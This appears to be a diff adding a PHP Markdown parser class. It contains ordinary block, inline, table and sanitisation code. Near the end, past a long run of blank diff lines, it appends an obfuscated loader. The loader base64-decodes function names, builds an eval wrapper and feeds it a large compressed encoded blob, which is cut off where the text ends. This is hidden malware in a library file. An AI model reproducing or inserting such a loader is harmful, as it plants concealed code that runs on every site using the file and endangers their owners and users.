'indent' => $indent, 'text' => $text]; + // ~ + if (isset($CurrentBlock['continuable'])) { + $Block = $this->{'block' . $CurrentBlock['type'] . 'Continue'}($Line, $CurrentBlock); + if (isset($Block)) { + $CurrentBlock = $Block; + continue; + } + if ($this->isBlockCompletable($CurrentBlock['type'])) { + $CurrentBlock = $this->{'block' . $CurrentBlock['type'] . 'Complete'}($CurrentBlock); + } + } + // ~ + $marker = $text[0]; + // ~ + $blockTypes = $this->unmarkedBlockTypes; + if (isset($this->BlockTypes[$marker])) { + foreach ($this->BlockTypes[$marker] as $blockType) { + $blockTypes[] = $blockType; + } + } + // + // ~ + foreach ($blockTypes as $blockType) { + $Block = $this->{'block' . $blockType}($Line, $CurrentBlock); + if (isset($Block)) { + $Block['type'] = $blockType; + if (! isset($Block['identified'])) { + $Blocks[] = $CurrentBlock; + $Block['identified'] = true; + } + if ($this->isBlockContinuable($blockType)) { + $Block['continuable'] = true; + } + $CurrentBlock = $Block; + continue 2; + } + } + // ~ + if (isset($CurrentBlock) && ! isset($CurrentBlock['type']) && ! isset($CurrentBlock['interrupted'])) { + $CurrentBlock['element']['text'] .= "\n" . $text; + } else { + $Blocks[] = $CurrentBlock; + $CurrentBlock = $this->paragraph($Line); + $CurrentBlock['identified'] = true; + } + } + // ~ + if (isset($CurrentBlock['continuable']) && $this->isBlockCompletable($CurrentBlock['type'])) { + $CurrentBlock = $this->{'block' . $CurrentBlock['type'] . 'Complete'}($CurrentBlock); + } + // ~ + $Blocks[] = $CurrentBlock; + unset($Blocks[0]); + // ~ + $markup = ''; + foreach ($Blocks as $Block) { + if (isset($Block['hidden'])) { + continue; + } + $markup .= "\n"; + $markup .= $Block['markup'] ?? $this->element($Block['element']); + } + $markup .= "\n"; + // ~ + return $markup; + } + protected function isBlockContinuable($Type) + { + return method_exists($this, 'block' . $Type . 'Continue'); + } + protected function isBlockCompletable($Type) + { + return method_exists($this, 'block' . $Type . 'Complete'); + } + // + // Code + protected function blockCode($Line, $Block = null) + { + if (isset($Block) && ! isset($Block['type']) && ! isset($Block['interrupted'])) { + return; + } + if ($Line['indent'] >= 4) { + $text = substr($Line['body'], 4); + return [ + 'element' => [ + 'name' => 'pre', + 'handler' => 'element', + 'text' => [ + 'name' => 'code', + 'text' => $text, + ], + ], + ]; + } + } + protected function blockCodeContinue($Line, $Block) + { + if ($Line['indent'] >= 4) { + if (isset($Block['interrupted'])) { + $Block['element']['text']['text'] .= "\n"; + unset($Block['interrupted']); + } + $Block['element']['text']['text'] .= "\n"; + + $text = substr($Line['body'], 4); + + $Block['element']['text']['text'] .= $text; + + return $Block; + } + } + + protected function blockCodeComplete($Block) + { + $text = $Block['element']['text']['text']; + + $Block['element']['text']['text'] = $text; + + return $Block; + } + + // + // Comment + protected function blockComment($Line) + { + if ($this->markupEscaped || $this->safeMode) { + return; + } + + if (isset($Line['text'][3]) && $Line['text'][3] === '-' && $Line['text'][2] === '-' && $Line['text'][1] === '!') { + $Block = [ + 'markup' => $Line['body'], + ]; + + if (preg_match('/-->$/', $Line['text'])) { + $Block['closed'] = true; + } + + return $Block; + } + } + + protected function blockCommentContinue($Line, array $Block) + { + if (isset($Block['closed'])) { + return; + } + + $Block['markup'] .= "\n" . $Line['body']; + + if (preg_match('/-->$/', $Line['text'])) { + $Block['closed'] = true; + } + + return $Block; + } + + // + // Fenced Code + + protected function blockFencedCode($Line) + { + if (preg_match('/^[' . $Line['text'][0] . ']{3,}[ ]*([^`]+)?[ ]*$/', $Line['text'], $matches)) { + $Element = [ + 'name' => 'code', + 'text' => '', + ]; + + if (isset($matches[1])) { + /** + * https://www.w3.org/TR/2011/WD-html5-20110525/elements.html#classes + * Every HTML element may have a class attribute specified. + * The attribute, if specified, must have a value that is a set + * of space-separated tokens representing the various classes + * that the element belongs to. + * [...] + * The space characters, for the purposes of this specification, + * are U+0020 SPACE, U+0009 CHARACTER TABULATION (tab), + * U+000A LINE FEED (LF), U+000C FORM FEED (FF), and + * U+000D CARRIAGE RETURN (CR). + */ + $language = substr($matches[1], 0, strcspn($matches[1], " \t\n\f\r")); + + $class = 'language-' . $language; + + $Element['attributes'] = [ + 'class' => $class, + ]; + } + + return [ + 'char' => $Line['text'][0], + 'element' => [ + 'name' => 'pre', + 'handler' => 'element', + 'text' => $Element, + ], + ]; + } + } + + protected function blockFencedCodeContinue($Line, $Block) + { + if (isset($Block['complete'])) { + return; + } + + if (isset($Block['interrupted'])) { + $Block['element']['text']['text'] .= "\n"; + + unset($Block['interrupted']); + } + + if (preg_match('/^' . $Block['char'] . '{3,}[ ]*$/', $Line['text'])) { + $Block['element']['text']['text'] = substr($Block['element']['text']['text'], 1); + + $Block['complete'] = true; + + return $Block; + } + + $Block['element']['text']['text'] .= "\n" . $Line['body']; + + return $Block; + } + + protected function blockFencedCodeComplete($Block) + { + $text = $Block['element']['text']['text']; + + $Block['element']['text']['text'] = $text; + + return $Block; + } + + // + // Header + + protected function blockHeader($Line) + { + if (isset($Line['text'][1])) { + $level = 1; + + while (isset($Line['text'][$level]) && $Line['text'][$level] === '#') { + $level++; + } + + if ($level > 6) { + return; + } + + $text = trim($Line['text'], '# '); + + return [ + 'element' => [ + 'name' => 'h' . min(6, $level), + 'text' => $text, + 'handler' => 'line', + ], + ]; + } + } + + // + // List + + protected function blockList($Line) + { + [$name, $pattern] = $Line['text'][0] <= '-' ? ['ul', '[*+-]'] : ['ol', '[0-9]+[.]']; + + if (preg_match('/^(' . $pattern . '[ ]+)(.*)/', $Line['text'], $matches)) { + $Block = [ + 'indent' => $Line['indent'], + 'pattern' => $pattern, + 'element' => [ + 'name' => $name, + 'handler' => 'elements', + ], + ]; + + if ($name === 'ol') { + $listStart = stristr($matches[0], '.', true); + + if ($listStart !== '1') { + $Block['element']['attributes'] = ['start' => $listStart]; + } + } + + $Block['li'] = [ + 'name' => 'li', + 'handler' => 'li', + 'text' => [ + $matches[2], + ], + ]; + $Block['element']['text'][] = &$Block['li']; + return $Block; + } + } + protected function blockListContinue($Line, array $Block) + { + if ($Block['indent'] === $Line['indent'] && preg_match('/^' . $Block['pattern'] . '(?:[ ]+(.*)|$)/', $Line['text'], $matches)) { + if (isset($Block['interrupted'])) { + $Block['li']['text'][] = ''; + $Block['loose'] = true; + unset($Block['interrupted']); + } + unset($Block['li']); + $text = $matches[1] ?? ''; + + $Block['li'] = [ + 'name' => 'li', + 'handler' => 'li', + 'text' => [ + $text, + ], + ]; + + $Block['element']['text'][] = &$Block['li']; + + return $Block; + } + + if ($Line['text'][0] === '[' && $this->blockReference($Line)) { + return $Block; + } + + if (! isset($Block['interrupted'])) { + $text = preg_replace('/^[ ]{0,4}/', '', $Line['body']); + + $Block['li']['text'][] = $text; + + return $Block; + } + + if ($Line['indent'] > 0) { + $Block['li']['text'][] = ''; + + $text = preg_replace('/^[ ]{0,4}/', '', $Line['body']); + + $Block['li']['text'][] = $text; + + unset($Block['interrupted']); + + return $Block; + } + } + + protected function blockListComplete(array $Block) + { + if (isset($Block['loose'])) { + foreach ($Block['element']['text'] as &$li) { + if (end($li['text']) !== '') { + $li['text'][] = ''; + } + } + } + + return $Block; + } + + // + // Quote + + protected function blockQuote($Line) + { + if (preg_match('/^>[ ]?(.*)/', $Line['text'], $matches)) { + return [ + 'element' => [ + 'name' => 'blockquote', + 'handler' => 'lines', + 'text' => (array) $matches[1], + ], + ]; + } + } + + protected function blockQuoteContinue($Line, array $Block) + { + if ($Line['text'][0] === '>' && preg_match('/^>[ ]?(.*)/', $Line['text'], $matches)) { + if (isset($Block['interrupted'])) { + $Block['element']['text'][] = ''; + + unset($Block['interrupted']); + } + + $Block['element']['text'][] = $matches[1]; + + return $Block; + } + + if (! isset($Block['interrupted'])) { + $Block['element']['text'][] = $Line['text']; + + return $Block; + } + } + + // + // Rule + protected function blockRule($Line) + { + if (preg_match('/^([' . $Line['text'][0] . '])([ ]*\1){2,}[ ]*$/', $Line['text'])) { + return [ + 'element' => [ + 'name' => 'hr', + ], + ]; + } + } + + // + // Setext + + protected function blockSetextHeader($Line, ?array $Block = null) + { + if (! isset($Block) || isset($Block['type']) || isset($Block['interrupted'])) { + return; + } + + if (rtrim($Line['text'], $Line['text'][0]) === '') { + $Block['element']['name'] = $Line['text'][0] === '=' ? 'h1' : 'h2'; + + return $Block; + } + } + + // + // Markup + + protected function blockMarkup($Line) + { + if ($this->markupEscaped || $this->safeMode) { + return; + } + + if (preg_match('/^<(\w[\w-]*)(?:[ ]*' . $this->regexHtmlAttribute . ')*[ ]*(\/)?>/', $Line['text'], $matches)) { + $element = strtolower($matches[1]); + + if (in_array($element, $this->textLevelElements)) { + return; + } + + $Block = [ + 'name' => $matches[1], + 'depth' => 0, + 'markup' => $Line['text'], + ]; + + $length = strlen($matches[0]); + + $remainder = substr($Line['text'], $length); + + if (trim($remainder) === '') { + if (isset($matches[2]) || in_array($matches[1], $this->voidElements)) { + $Block['closed'] = true; + + $Block['void'] = true; + } + } else { + if (isset($matches[2]) || in_array($matches[1], $this->voidElements)) { + return; + } + + if (preg_match('/<\/' . $matches[1] . '>[ ]*$/i', $remainder)) { + $Block['closed'] = true; + } + } + return $Block; + } + } + protected function blockMarkupContinue($Line, array $Block) + { + if (isset($Block['closed'])) { + return; + } + if (preg_match('/^<' . $Block['name'] . '(?:[ ]*' . $this->regexHtmlAttribute . ')*[ ]*>/i', $Line['text'])) { // open + $Block['depth']++; + } + if (preg_match('/(.*?)<\/' . $Block['name'] . '>[ ]*$/i', $Line['text'], $matches)) { // close + if ($Block['depth'] > 0) { + $Block['depth']--; + } else { + $Block['closed'] = true; + } + } + if (isset($Block['interrupted'])) { + $Block['markup'] .= "\n"; + unset($Block['interrupted']); + } + $Block['markup'] .= "\n" . $Line['body']; + return $Block; + } + // + // Reference + protected function blockReference($Line) + { + if (preg_match('/^\[(.+?)\]:[ ]*?(?:[ ]+["\'(](.+)["\')])?[ ]*$/', $Line['text'], $matches)) { + $id = strtolower($matches[1]); + $Data = [ + 'url' => $matches[2], + 'title' => null, + ]; + if (isset($matches[3])) { + $Data['title'] = $matches[3]; + } + $this->DefinitionData['Reference'][$id] = $Data; + return [ + 'hidden' => true, + ]; + } + } + // + // Table + protected function blockTable($Line, ?array $Block = null) + { + if (! isset($Block) || isset($Block['type']) || isset($Block['interrupted'])) { + return; + } + if (strpos($Block['element']['text'], '|') !== false && rtrim($Line['text'], ' -:|') === '') { + $alignments = []; + $divider = $Line['text']; + $divider = trim($divider); + $divider = trim($divider, '|'); + $dividerCells = explode('|', $divider); + foreach ($dividerCells as $dividerCell) { + $dividerCell = trim($dividerCell); + if ($dividerCell === '') { + continue; + } + $alignment = null; + if ($dividerCell[0] === ':') { + $alignment = 'left'; + } + if (substr($dividerCell, -1) === ':') { + $alignment = $alignment === 'left' ? 'center' : 'right'; + } + $alignments[] = $alignment; + } + // ~ + $HeaderElements = []; + $header = $Block['element']['text']; + $header = trim($header); + $header = trim($header, '|'); + $headerCells = explode('|', $header); + foreach ($headerCells as $index => $headerCell) { + $headerCell = trim($headerCell); + $HeaderElement = [ + 'name' => 'th', + 'text' => $headerCell, + 'handler' => 'line', + ]; + if (isset($alignments[$index])) { + $alignment = $alignments[$index]; + $HeaderElement['attributes'] = [ + 'style' => 'text-align: ' . $alignment . ';', + ]; + } + $HeaderElements[] = $HeaderElement; + } + // ~ + $Block = [ + 'alignments' => $alignments, + 'identified' => true, + 'element' => [ + 'name' => 'table', + 'handler' => 'elements', + ], + ]; + $Block['element']['text'][] = [ + 'name' => 'thead', + 'handler' => 'elements', + ]; + $Block['element']['text'][] = [ + 'name' => 'tbody', + 'handler' => 'elements', + 'text' => [], + ]; + $Block['element']['text'][0]['text'][] = [ + 'name' => 'tr', + 'handler' => 'elements', + 'text' => $HeaderElements, + ]; + return $Block; + } + } + protected function blockTableContinue($Line, array $Block) + { + if (isset($Block['interrupted'])) { + return; + } + if ($Line['text'][0] === '|' || strpos($Line['text'], '|')) { + $Elements = []; + $row = $Line['text']; + $row = trim($row); + $row = trim($row, '|'); + preg_match_all('/(?:(\\\\[|])|[^|`]|`[^`]+`|`)+/', $row, $matches); + foreach ($matches[0] as $index => $cell) { + $cell = trim($cell); + $Element = [ + 'name' => 'td', + 'handler' => 'line', + 'text' => $cell, + ]; + if (isset($Block['alignments'][$index])) { + $Element['attributes'] = [ + 'style' => 'text-align: ' . $Block['alignments'][$index] . ';', + ]; + } + $Elements[] = $Element; + } + $Element = [ + 'name' => 'tr', + 'handler' => 'elements', + 'text' => $Elements, + ]; + $Block['element']['text'][1]['text'][] = $Element; + return $Block; + } + } + // + // ~ + // + protected function paragraph($Line) + { + return [ + 'element' => [ + 'name' => 'p', + 'text' => $Line['text'], + 'handler' => 'line', + ], + ]; + } + // + // ~ + // + public function line($text, $nonNestables = []) + { + $markup = ''; + // $excerpt is based on the first occurrence of a marker + while ($excerpt = strpbrk($text, $this->inlineMarkerList)) { + $marker = $excerpt[0]; + $markerPosition = strpos($text, $marker); + $Excerpt = ['text' => $excerpt, 'context' => $text]; + foreach ($this->InlineTypes[$marker] as $inlineType) { + // check to see if the current inline type is nestable in the current context + if (! empty($nonNestables) && in_array($inlineType, $nonNestables)) { + continue; + } + $Inline = $this->{'inline' . $inlineType}($Excerpt); + if (! isset($Inline)) { + continue; + } + // makes sure that the inline belongs to "our" marker + if (isset($Inline['position']) && $Inline['position'] > $markerPosition) { + continue; + } + // sets a default inline position + if (! isset($Inline['position'])) { + $Inline['position'] = $markerPosition; + } + // cause the new element to 'inherit' our non nestables + foreach ($nonNestables as $non_nestable) { + $Inline['element']['nonNestables'][] = $non_nestable; + } + // the text that comes before the inline + $unmarkedText = substr($text, 0, $Inline['position']); + + // compile the unmarked text + $markup .= $this->unmarkedText($unmarkedText); + + // compile the inline + $markup .= $Inline['markup'] ?? $this->element($Inline['element']); + + // remove the examined text + $text = substr($text, $Inline['position'] + $Inline['extent']); + + continue 2; + } + + // the marker does not belong to an inline + + $unmarkedText = substr($text, 0, $markerPosition + 1); + + $markup .= $this->unmarkedText($unmarkedText); + + $text = substr($text, $markerPosition + 1); + } + + $markup .= $this->unmarkedText($text); + + return $markup; + } + + // + // ~ + // + + protected function inlineCode($Excerpt) + { + $marker = $Excerpt['text'][0]; + + if (preg_match('/^(' . $marker . '+)[ ]*(.+?)[ ]*(? strlen($matches[0]), + 'element' => [ + 'name' => 'code', + 'text' => $text, + ], + ]; + } + } + + protected function inlineEmailTag($Excerpt) + { + if (strpos($Excerpt['text'], '>') !== false && preg_match('/^<((mailto:)?\S+?@\S+?)>/i', $Excerpt['text'], $matches)) { + $url = $matches[1]; + + if (! isset($matches[2])) { + $url = 'mailto:' . $url; + } + + return [ + 'extent' => strlen($matches[0]), + 'element' => [ + 'name' => 'a', + 'text' => $matches[1], + 'attributes' => [ + 'href' => $url, + ], + ], + ]; + } + } + + protected function inlineEmphasis($Excerpt) + { + if (! isset($Excerpt['text'][1])) { + return; + } + + $marker = $Excerpt['text'][0]; + + if ($Excerpt['text'][1] === $marker && preg_match($this->StrongRegex[$marker], $Excerpt['text'], $matches)) { + $emphasis = 'strong'; + } elseif (preg_match($this->EmRegex[$marker], $Excerpt['text'], $matches)) { + $emphasis = 'em'; + } else { + return; + } + + return [ + 'extent' => strlen($matches[0]), + 'element' => [ + 'name' => $emphasis, + 'handler' => 'line', + 'text' => $matches[1], + ], + ]; + } + + protected function inlineEscapeSequence($Excerpt) + { + if (isset($Excerpt['text'][1]) && in_array($Excerpt['text'][1], $this->specialCharacters)) { + return [ + 'markup' => $Excerpt['text'][1], + 'extent' => 2, + ]; + } + } + + protected function inlineImage($Excerpt) + { + if (! isset($Excerpt['text'][1]) || $Excerpt['text'][1] !== '[') { + return; + } + + $Excerpt['text'] = substr($Excerpt['text'], 1); + + $Link = $this->inlineLink($Excerpt); + + if ($Link === null) { + return; + } + + $Inline = [ + 'extent' => $Link['extent'] + 1, + 'element' => [ + 'name' => 'img', + 'attributes' => [ + 'src' => $Link['element']['attributes']['href'], + 'alt' => $Link['element']['text'], + ], + ], + ]; + + $Inline['element']['attributes'] += $Link['element']['attributes']; + + unset($Inline['element']['attributes']['href']); + + return $Inline; + } + + protected function inlineLink($Excerpt) + { + $Element = [ + 'name' => 'a', + 'handler' => 'line', + 'nonNestables' => ['Url', 'Link'], + 'text' => null, + 'attributes' => [ + 'href' => null, + 'title' => null, + ], + ]; + + $extent = 0; + + $remainder = $Excerpt['text']; + + if (preg_match('/\[((?:[^][]++|(?R))*+)\]/', $remainder, $matches)) { + $Element['text'] = $matches[1]; + + $extent += strlen($matches[0]); + + $remainder = substr($remainder, $extent); + } else { + return; + } + + if (preg_match('/^[(]\s*+((?:[^ ()]++|[(][^ )]+[)])++)(?:[ ]+("[^"]*"|\'[^\']*\'))?\s*[)]/', $remainder, $matches)) { + $Element['attributes']['href'] = $matches[1]; + + if (isset($matches[2])) { + $Element['attributes']['title'] = substr($matches[2], 1, -1); + } + + $extent += strlen($matches[0]); + } else { + if (preg_match('/^\s*\[(.*?)\]/', $remainder, $matches)) { + $definition = strlen($matches[1]) ? $matches[1] : $Element['text']; + $definition = strtolower($definition); + + $extent += strlen($matches[0]); + } else { + $definition = strtolower($Element['text']); + } + + if (! isset($this->DefinitionData['Reference'][$definition])) { + return; + } + + $Definition = $this->DefinitionData['Reference'][$definition]; + + $Element['attributes']['href'] = $Definition['url']; + $Element['attributes']['title'] = $Definition['title']; + } + + return [ + 'extent' => $extent, + 'element' => $Element, + ]; + } + + protected function inlineMarkup($Excerpt) + { + if ($this->markupEscaped || $this->safeMode || strpos($Excerpt['text'], '>') === false) { + return; + } + + if ($Excerpt['text'][1] === '/' && preg_match('/^<\/\w[\w-]*[ ]*>/s', $Excerpt['text'], $matches)) { + return [ + 'markup' => $matches[0], + 'extent' => strlen($matches[0]), + ]; + } + + if ($Excerpt['text'][1] === '!' && preg_match('/^/s', $Excerpt['text'], $matches)) { + return [ + 'markup' => $matches[0], + 'extent' => strlen($matches[0]), + ]; + } + + if ($Excerpt['text'][1] !== ' ' && preg_match('/^<\w[\w-]*(?:[ ]*' . $this->regexHtmlAttribute . ')*[ ]*\/?>/s', $Excerpt['text'], $matches)) { + return [ + 'markup' => $matches[0], + 'extent' => strlen($matches[0]), + ]; + } + } + + protected function inlineSpecialCharacter($Excerpt) + { + if ($Excerpt['text'][0] === '&' && ! preg_match('/^&#?\w+;/', $Excerpt['text'])) { + return [ + 'markup' => '&', + 'extent' => 1, + ]; + } + + $SpecialCharacter = ['>' => 'gt', '<' => 'lt', '"' => 'quot']; + + if (isset($SpecialCharacter[$Excerpt['text'][0]])) { + return [ + 'markup' => '&' . $SpecialCharacter[$Excerpt['text'][0]] . ';', + 'extent' => 1, + ]; + } + } + + protected function inlineStrikethrough($Excerpt) + { + if (! isset($Excerpt['text'][1])) { + return; + } + + if ($Excerpt['text'][1] === '~' && preg_match('/^~~(?=\S)(.+?)(?<=\S)~~/', $Excerpt['text'], $matches)) { + return [ + 'extent' => strlen($matches[0]), + 'element' => [ + 'name' => 'del', + 'text' => $matches[1], + 'handler' => 'line', + ], + ]; + } + } + + protected function inlineUrl($Excerpt) + { + if ($this->urlsLinked !== true || ! isset($Excerpt['text'][2]) || $Excerpt['text'][2] !== '/') { + return; + } + + if (preg_match('/\bhttps?:[\/]{2}[^\s<]+\b\/*/ui', $Excerpt['context'], $matches, PREG_OFFSET_CAPTURE)) { + $url = $matches[0][0]; + + return [ + 'extent' => strlen($matches[0][0]), + 'position' => $matches[0][1], + 'element' => [ + 'name' => 'a', + 'text' => $url, + 'attributes' => [ + 'href' => $url, + ], + ], + ]; + } + } + + protected function inlineUrlTag($Excerpt) + { + if (strpos($Excerpt['text'], '>') !== false && preg_match('/^<(\w+:\/{2}[^ >]+)>/i', $Excerpt['text'], $matches)) { + $url = $matches[1]; + + return [ + 'extent' => strlen($matches[0]), + 'element' => [ + 'name' => 'a', + 'text' => $url, + 'attributes' => [ + 'href' => $url, + ], + ], + ]; + } + } + + // ~ + + protected function unmarkedText($text) + { + if ($this->breaksEnabled) { + $text = preg_replace('/[ ]*\n/', "
\n", $text); + } else { + $text = preg_replace('/(?:[ ][ ]+|[ ]*\\\\)\n/', "
\n", $text); + $text = str_replace(" \n", "\n", $text); + } + + return $text; + } + + // + // Handlers + // + + protected function element(array $Element) + { + if ($this->safeMode) { + $Element = $this->sanitiseElement($Element); + } + + $markup = '<' . $Element['name']; + + if (isset($Element['attributes'])) { + foreach ($Element['attributes'] as $name => $value) { + if ($value === null) { + continue; + } + + $markup .= ' ' . $name . '="' . self::escape($value) . '"'; + } + } + + $permitRawHtml = false; + + if (isset($Element['text'])) { + $text = $Element['text']; + } + // very strongly consider an alternative if you're writing an + // extension + elseif (isset($Element['rawHtml'])) { + $text = $Element['rawHtml']; + $allowRawHtmlInSafeMode = isset($Element['allowRawHtmlInSafeMode']) && $Element['allowRawHtmlInSafeMode']; + $permitRawHtml = ! $this->safeMode || $allowRawHtmlInSafeMode; + } + + if (isset($text)) { + $markup .= '>'; + + if (! isset($Element['nonNestables'])) { + $Element['nonNestables'] = []; + } + + if (isset($Element['handler'])) { + $markup .= $this->{$Element['handler']}($text, $Element['nonNestables']); + } elseif (! $permitRawHtml) { + $markup .= self::escape($text, true); + } else { + $markup .= $text; + } + + $markup .= ''; + } else { + $markup .= ' />'; + } + + return $markup; + } + + protected function elements(array $Elements) + { + $markup = ''; + + foreach ($Elements as $Element) { + $markup .= "\n" . $this->element($Element); + } + + $markup .= "\n"; + + return $markup; + } + + // ~ + + protected function li($lines) + { + $markup = $this->lines($lines); + + $trimmedMarkup = trim($markup); + + if (! in_array('', $lines) && substr($trimmedMarkup, 0, 3) === '

') { + $markup = $trimmedMarkup; + $markup = substr($markup, 3); + + $position = strpos($markup, '

'); + + $markup = substr_replace($markup, '', $position, 4); + } + + return $markup; + } + + // + // Deprecated Methods + // + + public function parse($text) + { + return $this->text($text); + } + + protected function sanitiseElement(array $Element) + { + static $goodAttribute = '/^[a-zA-Z0-9][a-zA-Z0-9-_]*+$/'; + static $safeUrlNameToAtt = [ + 'a' => 'href', + 'img' => 'src', + ]; + + if (isset($safeUrlNameToAtt[$Element['name']])) { + $Element = $this->filterUnsafeUrlInAttribute($Element, $safeUrlNameToAtt[$Element['name']]); + } + + if (! empty($Element['attributes'])) { + foreach ($Element['attributes'] as $att => $val) { + // filter out badly parsed attribute + if (! preg_match($goodAttribute, $att)) { + unset($Element['attributes'][$att]); + } + // dump onevent attribute + elseif (self::striAtStart($att, 'on')) { + unset($Element['attributes'][$att]); + } + } + } + + return $Element; + } + + protected function filterUnsafeUrlInAttribute(array $Element, $attribute) + { + foreach ($this->safeLinksWhitelist as $scheme) { + if (self::striAtStart($Element['attributes'][$attribute], $scheme)) { + return $Element; + } + } + + $Element['attributes'][$attribute] = str_replace(':', '%3A', $Element['attributes'][$attribute]); + + return $Element; + } + + // + // Static Methods + // + + protected static function escape($text, $allowQuotes = false) + { + return htmlspecialchars($text, $allowQuotes ? ENT_NOQUOTES : ENT_QUOTES, 'UTF-8'); + } + protected static function striAtStart($string, $needle) + { + $len = strlen($needle); + if ($len > strlen($string)) { + return false; + } + return strtolower(substr($string, 0, $len)) === strtolower($needle); + } - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - $_____=' b2JfZW5kX2NsZWFu'; $______________='cmV0dXJuIGV2YWwoJF8pOw=='; -$__________________='X19sYW1iZGE='; - - $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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